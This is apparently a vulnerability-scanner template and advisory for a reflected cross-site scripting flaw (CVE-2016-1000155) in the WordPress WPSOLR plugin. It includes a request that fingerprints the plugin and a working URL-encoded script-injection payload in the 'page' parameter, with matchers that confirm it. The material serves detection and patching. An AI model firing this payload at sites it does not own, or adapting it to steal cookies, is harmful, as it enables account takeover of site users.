WordPress WPSOLR 8.6 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
PoC代码[已公开]
id: CVE-2016-1000155
info:
name: WordPress WPSOLR <=8.6 - Cross-Site Scripting
author: daffainfo
severity: medium
description: WordPress WPSOLR 8.6 and before contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
remediation: |
Update to the latest version of WPSOLR plugin (8.7 or higher).
reference:
- https://wordpress.org/plugins/wpsolr-search-engine
- http://www.vapidlabs.com/wp/wp_advisory.php?v=303
- https://nvd.nist.gov/vuln/detail/CVE-2016-1000155
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2016-1000155
cwe-id: CWE-79
epss-score: 0.02155
epss-percentile: 0.83655
cpe: cpe:2.3:a:wpsolr:wpsolr-search-engine:7.6:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: wpsolr
product: "wpsolr-search-engine"
framework: wordpress
tags: cve2016,cve,wordpress,xss,wp-plugin,wpsolr
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/wpsolr-search-engine/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'WPSOLR Search Engine ='
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100b23e45e07128eafbe0921a8afdea91db6c8437cb07789298b4486b5b221c2456022079f87c50f9da32b52d647af4d1cfe8f7c8f0f1e050167a8a34e8f542dba3a198:922c64590222798bb761d5b6d8e72950